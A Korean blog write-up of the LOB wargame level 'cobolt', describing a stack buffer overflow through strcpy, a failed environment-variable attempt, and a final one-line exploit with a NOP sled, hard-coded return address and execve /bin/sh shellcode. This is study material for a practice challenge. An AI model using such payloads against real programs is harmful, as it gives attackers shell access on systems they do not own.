본문 바로가기
D. 시스템/실습

[LOB] 2번 cobolt

by E-HO 2017. 10. 15.
728x90

2번 

시작해보자


코드를 보니 buffer의 크기가 16byte이고 저번문제처럼

strcpy함수이후에 buffer에 값이 들어가는 것을 볼 수 있다.

이렇게 되면 buffer+sfp 해서

20byte

가 들어가야한다.

즉, 내가 가지고 있는 쉘코드를 넣기에는 너무 작은 크기이다..

그래서

환경변수를 이용하자


먼저 쉘코드를 환경변수에 등록 해놓고


저번에 1번 풀 때 사용한 주소를 받아오는 C코드를 이용하자


실행해서 shellCode를 실행할 수 있는 주소

0xbffffc21

을 얻었다.


이걸 바탕으로 작성해서 해봤는데

안된다...ㅎ


왜그런지 모르겠어서

다른 방법을 생각하던중에

저번에 선배가 동아리때 shellcode를 뒤에 삽입하는 방법을 알려주셨는데

그게 떠올랐다

바로 해보자


먼저 입력되는 버퍼의 주소를 알아야 하기에

strcpy함수이후인 

main+53

에 브레이크포인트를 걸자


a를 넣고 보니깐

0xbffffa10

이 정도를 ret 주소로 사용하면 될 거 같다.


이제 페이로드를 작성해야하는데

이런 방식으로 작성 할 것이다.

[buffer(NOP)+SFP](20byte) + [ret] + NOP*1000 + shellcode

이렇게 작성하면 shellcode가 buffer의 크기를 건드리지 않게 되고 ret 주소로 갈 수 있게 된다

(정확한 원리는 다시 물어봐야겠다..)


그래서

 ./cobolt `python -c 'print "\x90" * 20 + "\x10\xfa\xff\xbf" + "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

이렇게 작성하면


뚝딱






반응형

'D. 시스템 > 실습' 카테고리의 다른 글

[LOB] 3번 goblin  (0) 2017.11.16
[LOB] 1번 gremlin  (0) 2017.10.14
[C-LAB] EasyBOF  (0) 2017.10.13
[Pwnable.kr] bof  (0) 2017.10.13